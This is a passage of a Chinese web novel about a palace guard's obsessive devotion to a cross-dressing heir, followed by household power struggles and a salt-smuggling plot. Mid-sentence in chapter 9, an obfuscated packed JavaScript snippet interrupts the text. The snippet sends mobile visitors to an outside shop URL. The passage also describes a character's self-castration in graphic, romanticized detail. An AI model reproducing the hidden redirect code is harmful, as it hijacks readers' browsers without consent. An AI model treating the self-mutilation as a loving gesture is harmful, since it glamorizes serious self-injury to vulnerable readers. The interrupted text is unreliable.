“檀云姑娘。”伊凡直起身,恢复了平日的温和有礼,“有事?” “世子该用药了。”檀云福了福身,“可世子说……要伊佥事亲自送去。” 伊凡一怔。 世子从未有过这样的要求。尤其在他今日“擅闯”缀锦轩之后——虽然是为了送斐兰度开的药,可终究是违了规矩。 “我知道了。”他接过药盘,“多谢姑娘。” 檀云退下,临走前,深深看了他一眼。那眼神复杂难辨,像在评估什么。 伊凡没在意,端着药盘,走进缀锦轩。 缀锦轩里,门窗半敞,暮色渐沉。 萧道煜已坐起身,靠在床头。她换了一身素白薄绸中衣,长发披散,面色依然苍白,可眼神却清明了许多——斐兰度的药起了作用。 伊凡走到床前,跪在脚踏上,将药碗递过去:“世子,用药。” 萧道煜没接,只是看着他。琥珀金色的眼睛在渐暗的光线里流动,像深潭,像熔金,美得令人窒息,也冷得令人心寒。 “伊凡,”她开口,声音沙哑,“今日在廊上,斐太医跟你说了什么?” 伊凡手一颤,药碗里的汤药晃了晃,险些洒出来。 “没……没什么。” “说实话。”萧道煜语气平淡,却带着不容置疑的威压。 伊凡闭上眼,许久,才低声道:“斐太医说……若继续服药,世子寿数不过十年。” 说完,他等着世子的反应——是愤怒?是悲哀?还是……绝望? 可什么也没有。 萧道煜只是轻轻“哦”了一声,像在听一件与己无关的事。 “还有呢?”她问。 “还说……”伊凡咬了咬牙,“还说臣……有心病。” “心病?”萧道煜笑了,笑意苍凉,“他说得对。你是有心病。而且……病得不轻。” 她伸出手,指尖冰凉,轻轻触上伊凡的脸颊。那动作很轻,很柔,像在抚摸什么易碎的珍宝。 伊凡浑身一僵,几乎要颤抖起来。 十三年了。 这是世子第一次主动碰他。 “伊凡,”萧道煜看着他,眼中闪过复杂的神色,“你可知道,我为什么让你进来?” “臣……不知。” “因为有些话,该说清楚了。”萧道煜收回手,重新靠回床头,声音疲惫,“你跟了我十三年,为我出生入死。这份情,我记着。” 她顿了顿,语气转冷:“可也仅此而已。” 仅此而已。 四个字,像四把刀,狠狠扎进伊凡心里。 “你那些心思,我知道。”萧道煜看着他苍白的脸,眼中没有怜悯,只有一片深不见底的冷漠,“可我要告诉你,不可能。永远不可能。” “为什么?”伊凡脱口而出,声音发颤,“是因为臣的身份?还是因为……” “因为我是‘世子’。”萧道煜打断他,一字一顿,“是将来的忠顺王,是北镇抚司的镇抚使。而你,是侍卫,是王府的家生奴才。我们之间,隔着天堑。” 她顿了顿,眼中闪过一丝讥诮:“更何况……我是个寿数有限之人。伊凡,你痴心一片,不该浪费在我身上。” 伊凡跪在地上,看着世子。暮色透过窗纱,在她脸上投下深深浅浅的阴影,那张昳丽的面容在光影里显得格外脆弱,也格外决绝。 他知道,她说的是实话。 可实话最伤人。 “世子,”他开口,声音嘶哑,“臣不求别的,只求能守在您身边。十年也好,二十年也罢,臣……心甘情愿。” “心甘情愿?”萧道煜笑了,笑得咳嗽起来。她用手捂住嘴,咳得撕心裂肺,指缝间渗出暗红的血丝。 伊凡想要上前,却被她挥手制止。 等咳声渐止,她才缓缓道:“伊凡,你太傻了。这世上的事,不是‘心甘情愿’就能改变的。就像我,心甘情愿当这个世子吗?不。可我不得不当。” 她看着他,眼中最后一点光也熄灭了:“你走吧。从今往后,没有我的传唤,不必再来。” 这是逐客令。 也是……诀别。 伊凡跪在地上,浑身发冷。他看着世子,想说什么,想告诉她他不在乎身份,不在乎寿数,不在乎一切。可话到嘴边,却一个字也说不出来。 因为世子已经闭上眼,不再看他。 那姿态,是彻底的拒绝。 伊凡缓缓起身,踉跄着退出暖阁。走到门口,他回头看了一眼。 床幔低垂,遮住了那个单薄的身影。只有暮色渐沉,在幔帐上投下一个模糊的影子,像一场即将散去的梦。 他转身,走进暮色里。 廊下热风依旧,卷起尘土的气息,打在脸上,黏腻不堪。 伊凡走到庭院中,停下脚步。他抬起头,看着被晚霞染红的天际,忽然笑了起来。 笑声凄凉,疯狂,像濒死的兽。 是啊,他是有心病。 病名叫萧道煜。 无药可医,无路可退。 只有死路一条。 可那又如何? 他甘之如饴。 9. 第 9 章 五月廿七,夏至已过。 京城连下了三日闷雨,天地间湿漉漉一片。忠顺王府的屋檐上青苔斑驳,檐下悬着的雨帘滴滴答答,在昏黄的灯笼光里泛着黏腻的水光。 伊凡的值房在王府西角,是个一进的小院。院中那株老梅早已谢尽,只剩下墨绿的叶子,在雨幕里沉沉地垂着,偶尔一阵热风吹过,叶片翻转,露出苍白的背面,像一张张失血的脸。 屋里门窗紧闭,闷热得像蒸笼。 伊凡坐在榻沿,手里握着一把匕首。那是北镇抚司特制的短刃,精钢锻造,刃口薄如蝉翼,在烛光下泛着幽蓝的光。他盯着那刀刃,看了很久,久到烛火跳动,在他脸上投下摇曳的阴影。 窗外传来更夫的梆子声:“天干物燥,小心火烛——” 二更天了。 伊凡闭上眼,想起白日缀锦轩里的情景。 世子闭着眼,不再看他。那姿态,是彻底的拒绝,是永久的放逐。 “从今往后,没有我的传唤,不必再来。” 这话像烧红的铁钎,扎在他心上,烫得他血肉模糊。 他睁开眼,目光落在榻边小几上的一枚旧银锁上——那是他七岁入府时,世子给他的。银锁很小,雕着简单的如意纹,因常年摩挲,边缘已磨得光滑。 他拿起银锁,握在掌心。金属被体温暖得微温,却让他感到一丝奇异的冰凉。 十三年了。 四千七百多个日夜。 他像个影子,跟在世子身后。看她笑,看她怒,看她痛,看她一日日把自己熬干。他什么都做不了,只能看着,守着,忍着。 忍到心碎,忍到发疯。 今日斐兰度的话又在耳边响起:“心病还需心药医。可伊佥事的心药……怕是一辈子也吃不到了。” 是啊,吃不到。 因为那味药,是世子。 是那个永远不可能属于他的人。 伊凡笑了,笑意苍凉。 他放下银锁,解开腰带。月白薄绸锦袍滑落在地,露出里面素白的中衣。他一件件脱去,直到赤身裸体。 烛火跳跃,照着他清瘦却精悍的身躯。肩上、背上,有几道陈年旧伤——都是替世子挡刀留下的。最深的在左肋下,三寸长的刀疤,像一条狰狞的蜈蚣,永远爬在那里。 他低头,看着自己的下身。 那处器官安静地垂着,平凡,却也是他作为“男子”的象征。 可他从来就不想当什么“男子”。 他只想当世子的影子,当她的刀,当她的盾,当她……唯一可以完全信任的人。 可世子不信他。 因为他是“男子”,因为他有欲望,因为他那些“不该有”的心思。 那如果……他不是“男子”了呢? 如果他把那些欲望的根源剜去,把那些“不该有”的可能彻底断绝—— 世子会不会信他? 会不会……让他继续留在身边? 伊凡握紧匕首,刃口抵上小腹。冰冷的金属触到皮肤,激得他浑身一颤。 《大雍律》里的条文:“私自净身者,杖一百,流三千里。” 可那又如何? 比起被世子放逐,死又算什么? 他闭上眼,深吸一口闷热的空气。 刀锋刺入皮肉。 痛。 尖锐的,撕裂的,几乎要让人晕厥的痛。 鲜血涌出来,温热,粘稠,顺着大腿流下,滴在青砖地上,一滴,又一滴,在闷热的空气里迅速散发出腥甜的气味。 伊凡咬紧牙关,额上青筋暴起,冷汗如雨。他颤抖着,摸索着,找到那两粒肉丸——那是欲望的根源,是“男子”的象征,也是……他与世子之间永远的隔阂。 刀刃划过。 更剧烈的痛楚袭来,像有无数根烧红的铁钎在身体里搅动。他闷哼一声,几乎要倒下,却强撑着,用另一只手扶住桌沿。 烛火在眼前晃动,渐渐模糊。 他看见世子的脸。 八岁那年,她在石榴树下练剑,回头对他笑,眉眼弯弯:“以后你就跟着我吧。” 十三岁那年,她第一次杀人,手在抖,他握住她的手,说:“臣在。” 十八岁那年,她在北镇抚司审犯人,咳出血,他跪在她脚边,递上手帕。 一幕幕,一帧帧。 像走马灯,在眼前旋转。 最后定格在今日,缀锦轩里,她闭着眼,说:“你走吧。” 不。 他不走。 死也不走。 伊凡睁开眼,眼中一片血红。他颤抖着,从药箱里翻出金疮药。 药粉撒在伤口上,刺痛更甚。他咬破嘴唇,血腥味在口中弥漫。然后用干净的布条,一层层缠紧。 血渐渐止住了。 他瘫坐在地上,背靠着床榻,大口喘气。身下一片狼藉,血污浸透了布条,在地砖上洇开深色的痕迹。闷热的空气里弥漫着血腥和药粉混合的怪异气味。 热。 闷热的,黏腻的,令人窒息的热。 从伤口处蔓延开来,蔓延到四肢百骸,蔓延到心里。 可心里,却有一种奇异的平静。 像暴风雨后的海面,死寂,却安宁。 他不再是“男子”了。 不再是那个对世子有“不该有”心思的伊凡了。 从今往后,他只是她的刀,她的盾,她的……奴才。 这样,她该信他了吧? 该让他留在身边了吧? 伊凡笑了,笑着笑着,眼泪流下来。 混着血,混着汗,混着这十三年的痴,十三年的妄。 窗外,雨又下大了。 翌日清晨,雨停了。 日头从云层后露出来,毒辣辣地照着湿漉漉的庭院。水汽蒸腾上来,带着泥土和青苔的气息,闷得人喘不过气。王府里的下人早早起来清扫积水,扫帚刮过湿滑的青石板,发出黏腻的声响。 双瑛和檀云寅时三刻就起了。 这是她们入王府的第七日。七日来,除了第一日见过世子一面,之后再未得见——世子以“静养”为由,闭门不出,连萨林都难近身。 倒是王妃李氏,每日传她们去请安。 今日也不例外。 双瑛对镜梳妆,镜中的女子圆脸杏眼,模样讨喜,可眼底却有掩不住的疲惫。她拿起胭脂,在唇上点了点,又在腮边匀开,这才有了几分气色。 “姐姐今日抹得艳了些。”檀云从镜中看她,声音轻柔。 双瑛手一顿,淡淡道:“王妃喜欢鲜亮颜色。” 檀云不再说话,只默默簪上一支素银簪子。她生得清秀温婉,穿一身月白薄绸比甲,越发显得楚楚可怜。 两人收拾妥当,出了耳房。 天闷得厉害,连风都是热的。廊下的积水还未干尽,在晨光里泛着油亮的光。 走到正院时,辰时刚过。 王妃李氏已在花厅里了。她今日穿了身绛紫缠枝牡丹纹薄绸褙子,头戴点翠大凤钗,端坐在紫檀木太师椅上,手里摇着一把缂丝团扇,面色端肃,不怒自威。 花厅里还站着几个嬷嬷,都是李氏的心腹,个个垂手肃立,眼观鼻鼻观心。 双瑛和檀云走进来,在厅中跪下:“奴婢给王妃请安。” 李氏没叫起,只慢慢摇着团扇。扇出的风是热的,在寂静的花厅里带不起一丝凉意。 许久,她才开口,声音不疾不徐:“抬起头来。” 两人依言抬头。 李氏打量着她们,目光像刀子,一寸一寸刮过她们的脸。从眉眼到唇鼻,从发髻到衣领,看得仔细,看得挑剔。 “到底是宫里出来的,”她缓缓道,“模样是周正。可这规矩……似乎还没学全。” 双瑛心中一紧,垂下眼帘:“奴婢愚钝,还请王妃教诲。” “教诲?”李氏笑了,笑意未达眼底,“本宫可不敢。你们是太后赐给世子的人,身份尊贵,本宫哪敢教诲?” 这话说得阴阳怪气,连旁边的嬷嬷们都低下了头。 檀云咬了咬唇,轻声道:“王妃言重了。奴婢们既入了王府,便是王府的人,自当守王府的规矩。” “哦?”李氏挑眉,“那你说说,王府的规矩是什么?” 檀云顿了顿,道:“忠君孝亲,尊卑有序,各守本分。” “说得好。”李氏放下团扇,站起身,走到两人面前,“那本宫问你,你们的本分是什么?” “伺候世子,照顾起居。”双瑛接话。 “怎么伺候?”李氏俯身,盯着双瑛的眼睛,“夜里值夜,端茶递水,更衣沐浴——这些,你们都做了吗?” 双瑛脸色一白。 她们入府七日,连世子的面都少见,更别提“伺候”了。 “看来是没做。”李氏直起身,声音转冷,“既然没做,那便是失职。失职,就该罚。” 她转身坐回椅上,对旁边的嬷嬷道:“李嬷嬷,教教她们规矩。” 李嬷嬷应声上前。这是个五十来岁的婆子,满脸横肉,眼神凶狠。她手里拿着一把戒尺,紫檀木的,油光发亮,一看就是常用之物。 “伸手。”李嬷嬷冷声道。 双瑛和檀云对视一眼,缓缓伸出手。 李嬷嬷举起戒尺,“啪啪”两声,重重打在两人掌心。 戒尺落在皮肉上,声音清脆。双瑛咬紧牙关,没出声。檀云却疼得轻哼了一声,眼眶瞬间红了。 “这才一下,就受不住了?”李氏慢条斯理地摇扇,“宫里没教过你们,主子罚,要谢恩吗?” 双瑛深吸一口气,叩首:“谢王妃教诲。” 檀云跟着叩首,声音发颤:“谢……谢王妃教诲。” 李嬷嬷又举起戒尺。 一下,又一下。 每一下都又重又狠,打在掌心,很快便红肿起来。双瑛的掌心破了皮,渗出血丝。檀云已疼得浑身发抖,眼泪在眼眶里打转,却强忍着没掉下来。 花厅里只有戒尺的脆响,和两人压抑的喘息。 打了二十下,李氏才摆摆手:“罢了。” 李嬷嬷退下。 双瑛和檀云跪在地上,掌心火辣辣地疼,像有无数根针在扎。可她们不敢动,不敢出声,只垂着头,等着接下来的发落。 李氏放下团扇,声音温和了些:“知道为什么罚你们吗?” “奴婢……不知。”双瑛低声道。 “因为你们忘了本分。”李氏缓缓道,“太后把你们赐给世子,是让你们照顾世子,不是让你们窥探世子。可你们入府七日,做了什么?往缀锦轩送东西,往厨房打听世子的饮食,往浆洗房问世子的衣物——这些,都是谁教你们的?” 双瑛浑身一颤。 她们确实做了这些。太后有命,要她们监视世子的一举一动。可她们做得很小心,很隐蔽,怎么还是被发现了? “王府有王府的规矩,”李氏继续道,“不该看的别看,不该问的别问,不该说的别说。若再让本宫发现你们有什么不该有的心思……” 她顿了顿,语气转厉:“宫里有宫里的规矩,王府有王府的家法。到时候,可就不是打手心这么简单了。” 这话说得明白。 双瑛和檀云叩首:“奴婢谨记。” “记住就好。”李氏摆摆手,“下去吧。今日起,你们不必再来请安了。好好在耳房待着,没有传唤,不得随意走动。” 这是要软禁她们。 双瑛心中一沉,却不敢辩驳,只能应声:“是。” 两人起身,踉跄着退出花厅。 走到院中,热风一吹,掌心的疼痛更甚。檀云终于忍不住,眼泪掉下来:“姐姐,我们……我们怎么办?” 双瑛看着红肿的掌心,眼中闪过狠色:“等。世子总会见我们的。” “可王妃她……” “王妃是王妃,世子是世子。”双瑛低声道,“太后既然把我们赐给世子,世子就该管我们。今日这顿打,不能白挨。” 她顿了顿,语气意味深长:“你看着吧,这事……没完。” 午时刚过,缀锦轩里来了人。 是伊凡。 他今日穿了身月白薄绸锦袍,面色苍白如纸,走路时脚步虚浮,显是伤势未愈。可脊背挺得笔直,像一杆不肯弯折的竹。 萨林守在书房外,见他来了,绿眸一凝:“伊佥事,世子不见客。” “我有要事禀报。”伊凡声音沙哑。 “世子吩咐了,任何人不见。” 伊凡看着他,眼中闪过一丝什么,太快,看不真切。许久,他缓缓道:“那劳烦萨侍卫通传一声,就说……伊凡已非‘男子’,请世子放心。” 萨林一怔。 这话说得古怪,他一时没明白什么意思。可看着伊凡苍白的脸,看着他那双深不见底的眼睛,萨林心中忽然涌起不祥的预感。 “你……” “去通传吧。”伊凡打断他,“世子会见的。” 萨林犹豫片刻,还是转身进了书房。 片刻后,他出来,脸色复杂:“世子让你进去。” 伊凡点点头,推门而入。 书房里,萧道煜坐在书案后,手里握着一卷书,却没看。她今日穿了身玄色薄绸常服,长发未束,披散在肩上,衬得那张脸越发苍白。听见动静,她抬起头,琥珀金色的眼睛看向伊凡。 那眼神很冷,很淡,像看一个陌生人。 “你说,你已非‘男子’?”她开口,声音平静无波。 伊凡跪在地上,叩首:“是。” “什么意思?” 伊凡直起身,解开腰带。月白薄绸锦袍滑落,露出里面素白的中衣。他继续解,直到露出腰腹——那里缠着厚厚的布条,布条上渗着暗红的血迹。 萧道煜瞳孔骤缩。 “昨夜,臣自宫了。”伊凡看着她,一字一顿,“从今往后,臣不再是‘男子’,不再有那些不该有的欲望,不再会让世子……为难。” 他说得平静,像在说今日吃什么菜。 可每一个字,都像惊雷,在萧道煜耳边炸开。 自宫? 私自净身,杖一百,流三千里——那是死罪! 他疯了? 不,他早就疯了。 从十三年前,跟在她身边那天起,就疯了。 萧道煜盯着他腰间的布条,盯着那暗红的血迹,胸口剧烈起伏。她想说什么,想骂他疯子,想问他值不值得,可话到嘴边,却一个字也说不出来。 只有心,在胸腔里狂跳,跳得她几乎窒息。 许久,她才开口,声音发颤:“为什么?” “为了向世子表心意。”伊凡看着她,眼中一片赤诚,“臣说过,会一直陪着世子。生也好,死也罢,臣心甘情愿。可世子不信臣,因为臣是‘男子’,因为臣有欲望。那现在……臣不是了。” 他往前跪行几步,直到书案前,仰头看着她:“世子,信我。从今往后,臣只是您的刀,您的盾,您的奴才。再不会有那些不该有的心思,再不会让您为难。” 萧道煜看着他,看着那双深不见底的眼睛。那里有痴,有妄,有疯狂,可也有……一种近乎绝望的真诚。 他是真的。 真的为她自宫,真的为她断了后路,真的……愿意为她去死。 可她呢? 她配吗? 一个活在谎言里的怪物,一个寿数有限之人,配得上这样的赤忱吗? 萧道煜闭上眼,胸口一阵窒闷。腹中的疼痛又开始了,像有只手在里头绞。她咬紧牙关,强忍着。 “起来吧。”她终于说,声音疲惫,“把衣服穿好。” 伊凡依言起身,穿上衣服。动作很慢,很艰难,额上渗出细密的冷汗,显是伤口疼得厉害。 萧道煜看着他苍白的脸,心中涌起一股复杂的情绪。是愤怒?是悲哀?还是……一丝不易察觉的愧疚? “伤怎么样了?”她问。 “无碍。”伊凡系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996010|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好腰带,“斐太医的药很好。” 斐兰度。 萧道煜想起那个冷峻的太医,想起他说的话:“伊佥事的心病……怕是一辈子也吃不到了。” 现在,伊凡把“心病”的根源剜去了。 可心病,真的能好吗? “这件事,还有谁知道?”她问。 “只有臣自己。”伊凡顿了顿,“还有……萨侍卫可能猜到了。” 萧道煜点点头:“瞒住。私自净身是死罪,若传出去,我也保不住你。” “臣明白。” 书房里静下来。 只有窗外知了的嘶鸣,和两人压抑的呼吸。 许久,萧道煜才开口:“王妃今日……打了双瑛和檀云?” 伊凡一怔:“世子知道了?” “这王府里,什么事能瞒过我?”萧道煜冷笑,“二十戒尺,掌心打烂——王妃这是在下马威,也是在警告我。” 她站起身,走到窗前。窗外水汽蒸腾,白茫茫一片,晃得人眼疼。 “太后赐人,是监视,也是试探。”她缓缓道,“王妃打她们,是在告诉太后,这王府,还是她说了算。也是在告诉我,别想借着太后的势,压过她去。” 伊凡沉默片刻,低声道:“世子打算如何?” “如何?”萧道煜转过身,琥珀金色的眼睛里闪过冷光,“她打我的眼线,我便护我的眼线。这王府,终究是姓萧的。” 她走到书案前,拿起马鞭——那根乌金绞丝的软鞭,金殿上打碎张汝贞梁冠的那根。 “伊凡。” “臣在。” “能走吗?” 伊凡咬了咬牙:“能。” “那好。”萧道煜将马鞭缠在腰间,“随我去正院。今日,我倒要看看,这王府的规矩,到底是谁说了算。” 说完,她推门而出。 玄色衣袍在闷热的风中翻飞,像一只振翅的鹰。 伊凡跟在她身后,脚步踉跄,却一步不落。 萨林也跟了上去,绿眸中满是警惕。 三人穿过长廊,走过庭院,往正院走去。所过之处,下人纷纷避让,垂首肃立,连大气都不敢喘。 谁都看得出,世子今日……来者不善。 正院花厅里,李氏正在用午膳。 桌上摆着八样小菜,样样精致。她吃得慢条斯理,一旁的嬷嬷小心伺候着,添汤布菜,不敢有半分懈怠。 忽然,门外传来一阵喧哗。 “世子到——” 通报声未落,花厅的门已被推开。 萧道煜走了进来。玄色薄绸衣袍,乌金马鞭,面色苍白如纸,可那双琥珀金色的眼睛却亮得灼人,像淬了火的刀。 她身后跟着伊凡和萨林。一个面色惨白,一个按刀肃立,皆是一身肃杀之气。 李氏手一顿,筷子停在半空。 “道煜?”她放下筷子,面色如常,“怎么这时候来了?可用过午膳了?” 萧道煜没答,目光在厅中扫了一圈,最后落在侍立一旁的李嬷嬷身上——那个早上打了双瑛和檀云的婆子。 “听说,”她缓缓开口,声音清冷,“王妃今日教了下人规矩?” 李氏眉头微蹙:“不过是两个不懂事的丫头,略施惩戒罢了。” “哦?”萧道煜挑眉,“怎么个惩戒法?” “打了二十戒尺。”李氏淡淡道,“怎么,世子要为两个宫女出头?” “宫女?”萧道煜笑了,“王妃怕是忘了,双瑛和檀云是太后赐给我的人。打她们,便是打太后的脸,也是打我的脸。” 她往前一步,逼近李氏:“我倒想问王妃,我的人,犯了什么错,要王妃越俎代庖,替我管教?” 这话说得重了。 厅中众人皆变了脸色。连李氏也沉下脸来:“道煜,你这是什么话?我是你母亲,这王府的女主人,管教几个下人,难道还要你同意?” “母亲?”萧道煜嗤笑,“王妃若真当我是儿子,便该知道,我的人,只有我能动。便是要罚,也该我来罚,轮不到旁人插手。” 她顿了顿,语气转厉:“还是说,王妃觉得,我担不起这个‘世子’的名号,管不了自己的人?” 这话诛心。 李氏脸色一白,手指攥紧了衣襟。她看着眼前这个“儿子”,看着她眼中冰冷的杀意,心中涌起巨大的恐惧——不是恐惧萧道煜,是恐惧那个秘密,恐惧这层窗户纸被捅破。 若真闹起来,传到宫里,传到皇帝耳中…… 她不敢想。 “道煜,”她声音软下来,“母亲只是担心你。那两个宫女是太后赐的,来路不明,母亲怕她们对你不利,这才……” “这才替我管教?”萧道煜打断她,语气讥诮,“那我还得谢谢王妃了?” 她不再看李氏,转身对伊凡道:“去耳房,把双瑛和檀云带来。” “是。”伊凡躬身退下。 李氏想拦,可看着萧道煜冰冷的眼神,终究没敢开口。 片刻后,伊凡带着双瑛和檀云回来了。 两个宫女跪在地上,掌心红肿,血迹斑斑,脸色苍白,显是受了惊吓。 萧道煜看着她们的掌心,眼中冷意更甚。她走到李嬷嬷面前,盯着这个婆子:“是你动的手?” 李嬷嬷吓得浑身发抖,扑通跪下:“世子饶命!老奴……老奴只是奉命行事!” “奉命?”萧道煜抽出腰间的马鞭,“奉谁的命?” 李嬷嬷不敢答,只拼命磕头。 萧道煜不再看她,转身对双瑛和檀云道:“起来。” 两人战战兢兢地起身。 “把手伸出来。” 双瑛和檀云对视一眼,缓缓伸出手。 掌心皮开肉绽,惨不忍睹。 萧道煜看着那伤口,许久,才缓缓道:“今日起,你们是我的人。打你们,便是打我。这个仇,我记下了。” 她顿了顿,一字一顿:“现在,谁打的你们,你们便打回去。十倍奉还。” 满厅死寂。 连李氏都惊呆了。 双瑛和檀云更是不敢置信地看着世子。 “世子……”双瑛声音发颤。 “打。”萧道煜只说了一个字。 双瑛咬咬牙,走到李嬷嬷面前。她看着这个早上还凶神恶煞的婆子,此刻却像条狗一样跪在地上,心中涌起一股复杂的情绪——是恨,是怕,还有一丝……快意。 她扬起手,用尽全力,一巴掌扇在李嬷嬷脸上。 “啪!” 清脆的响声在花厅里回荡。 李嬷嬷被打得偏过头,脸上立刻浮起五指红痕。她不敢躲,不敢吭声,只死死咬着牙。 檀云也走上前,跟着扇了一巴掌。 一下,又一下。 两个宫女像疯了一样,把早上受的委屈,受的羞辱,全发泄出来。巴掌扇在脸上,啪啪作响,很快李嬷嬷的脸就肿得像猪头,嘴角渗出血丝。 打了二十下,萧道煜才开口:“够了。” 双瑛和檀云停下手,气喘吁吁,眼中却有泪光闪烁——不是疼,是解脱。 萧道煜走到李氏面前,看着她铁青的脸,缓缓道:“王妃,今日之事,到此为止。双瑛和檀云我带走了。从今往后,她们是我缀锦轩的人,不劳王妃费心。” 说完,她转身,带着三人走出花厅。 走到门口,又停下脚步,回头看了李氏一眼:“还有,王妃若真想管教下人,不妨先管管自己身边的人。私自打听世子起居,往宫里递消息——这些事,真当我不知道吗?” 李氏浑身一震,脸色煞白如纸。 萧道煜不再多说,拂袖而去。 玄色衣袍在闷热的风中翻飞,像一场席卷而来的风暴,将这王府深庭的平静,彻底打破。 只留下李氏瘫坐在椅上,看着满地狼藉,看着肿成猪头的李嬷嬷,看着门外渐行渐远的背影,心中一片冰凉。 她知道,从今日起,这王府的天,要变了。 10. 第 10 章 已是五月末,按往年节气,本该是梅雨绵绵、暑气初蒸的时节。可今年不同。三月里一场提前的酷热,将刚抽条的绿意全晒蔫了回去。连着十几日毒日头,不见片云,只有白花花的天空灼着京城,像一块烧红的铁板,明晃晃的,烫得人睁不开眼。 尘土飞扬,堆积在街角巷尾,灰扑扑的,混着汗渍与污垢,在热风里蒸腾着颓败的气息。护城河的水位低了许多,露出泛着白碱的河床,日头毒辣辣地照着水面,晃得人眼晕,只有蒸腾的热浪。 京城像个喘不过气的困兽,在酷暑里奄奄一息。 东市街口,几个老乞丐蜷缩在屋檐下稀薄的阴影里,身上盖着破草席,热得嘴唇干裂。其中一个怀里抱着个婴孩,孩子不哭不闹,只睁着一双空洞的眼睛,看着白茫茫的天——许是渴得没了力气,许是……早就没了声息。 “造孽啊……”路过的一个老妇人摇摇头,从篮子里摸出半个干硬的馍馍,扔过去。 乞丐们扑上去争抢,像一群饿疯了的野狗。 远处传来马蹄声,一队锦衣卫纵马而过,玄色披风在热风里翻飞,马蹄扬起漫天尘土,扑了乞丐们一身。可没人敢吭声,只默默缩回墙角,将那点沾了土的馍馍塞进嘴里。 这世道,能活着就不易了。 荷花巷倒是另一番景象。 酷暑挡不住寻欢作乐的脚步,反倒让那些凉阁水榭越发诱人。华灯初上,整条街便活了过来,丝竹声、调笑声、猜拳行令声混成一片粘腻的喧哗,将外头的热浪隔绝在外。 醉仙楼三楼,听雪阁里,四角摆着冰鉴,凉意丝丝。 陈显宗坐在软榻上,手里端着冰镇的酒杯,眼睛却盯着窗外——窗外是黑沉沉的夜,零星几点灯火,像鬼火。他今日穿一身宝蓝织金薄绸箭袖袍,腰间佩着羊脂玉佩,打扮得光鲜,可脸色却不好,眼下泛着青黑,显是纵欲过度,又或是……心事重重。 “陈公子,怎么不喝呀?”身边一个穿桃红轻纱衣的姑娘贴上来,软绵绵地靠在他肩上,香气混着汗味扑鼻。 陈显宗没理她,只将杯中冰酒一饮而尽。凉意滑过喉咙,却压不住心底的烦躁。 “哟,公子慢些。”姑娘娇笑着,又给他斟满,“今日卢公子做东,点的可都是好酒,冰镇的竹叶青呢!” 卢弘义坐在对面,怀里搂着两个衣衫单薄的姑娘,左拥右抱,意气风发。他今日穿一身绛紫团花薄绸锦袍,头戴镶宝石的公子冠,腰间佩着一柄波斯弯刀——那是他父亲新得的贡品,转手赏了他。此刻他正用刀尖挑着一颗冰镇葡萄,喂给怀里的姑娘,动作轻佻,眼神却锐利。 “显宗,”他忽然开口,声音带着三分醉意,“听说你前几日去庄子上查账,被你父亲骂了?” 陈显宗手一顿,杯中酒洒出几滴。 “卢兄消息倒是灵通。” “那是自然。”卢弘义得意地晃着脑袋,“这京城里,什么事能瞒过我?我还知道,你那个嫡兄陈显祖,上月又纳了一房小妾,是扬州盐商送的,据说陪嫁就有三万两银子。啧啧,到底是嫡子,就是不一样。” 这话像一把烧红的刀子,精准地戳进陈显宗心窝最痛的地方。他攥紧酒杯,指节发白,冰凉的杯壁也压不住掌心渗出的汗。 “卢兄今日叫我来,就是为了说这些?” “当然不是。”卢弘义推开怀里的姑娘,坐直身子,眼中醉意褪去,露出商人特有的精明,“显宗,咱们明人不说暗话。你在伯府过得憋屈,我知道。我有门路,能让你翻身,就看你……敢不敢。” 陈显宗抬眼看他:“什么门路?” 卢弘义压低声音:“盐。” 一个字,轻得像叹息,却重得像山。 陈显宗瞳孔骤缩。 大雍律法,盐铁官营,私贩盐者,杀无赦。可利润也高,高到让人铤而走险。卢家就是靠私盐起家,如今虽然洗白,做了正经盐商,可暗地里的勾当,从未断过。 “卢兄说笑了,”陈显宗勉强扯出个笑,“我是伯府公子,怎能做那种事?” “伯府公子?”卢弘义嗤笑,“显宗,别自欺欺人了。你那‘伯府公子’的名头,值几个钱?每月二两例钱,连这醉仙楼一壶酒都买不起。再看看你嫡兄,庄子、铺子、美人,要什么有什么——凭什么?就凭他是嫡,你是庶?” 他往前倾身,声音更低:“显宗,这世道,笑贫不笑娼。你有才华,有野心,缺的只是个机会。跟我干,一年,我保你赚这个数。” 他伸出五根手指。 “五千两?”陈显宗试探着问。 卢弘义摇头:“五万两。” 陈显宗倒吸一口凉气。 五万两,够他在荷花巷买座宅子,够他养十几个美人,够他……把那个看不起他的伯府,踩在脚下。 诱惑太大了。 大到他心跳如鼓,手心湿透。 窗外忽然传来一阵喧哗,夹杂着女子的哭喊。陈显宗走到窗边,推开一条缝,看见楼下街口,几个衙役正拖着一个女子往外走。那女子衣衫褴褛,哭得撕心裂肺:“官爷饶命!奴家只是卖几个凉粉,没做犯法的事啊!” “无照经营,罚银五两!”衙役厉声道,“交不出银子,就抓你去充役!” “五两……奴家哪有五两啊……”女子瘫倒在地,绝望地哭嚎。 周围聚了些看热闹的人,指指点点,却无人伸出援手。 陈显宗看着那女子,忽然想起母亲周姨娘。很多年前,姨娘还是丫鬟时,也曾这样无助地哭过。那时他小,只能躲在门后,看着母亲跪在地上,求管家高抬贵手。 那种屈辱,他一辈子忘不了。 “显宗,”卢弘义走到他身边,也看着楼下,“看见了吗?这就是世道。有权有钱,你就是人上人;没钱没势,你就是条狗,任人践踏。” 他拍拍陈显宗的肩:“怎么样?干不干?” 陈显宗闭上眼,脑海中闪过许多画面:父亲冷漠的眼神,嫡母讥诮的嘴角,嫡兄得意的笑容,还有姨娘含泪的眼睛…… 许久,他睁开眼,眼中最后一点犹豫也消失了。 “干。” 声音很轻,却很坚定。 卢弘义笑了,举起酒杯:“痛快!来,为咱们的‘生意’,干一杯!” 两只冰凉的酒杯碰在一起,发出清脆的响声。 像命运敲下的丧钟。 永安伯府,静蕤轩。 陈显薇坐在半敞的窗前,手里握着一柄团扇,有一下没一下地摇着,却扇不走一丝闷热。窗外几株石榴花开得正盛,红艳艳的,在毒日头下像一簇簇燃烧的火,可那火是静的,死的,暖不了她此刻的心。 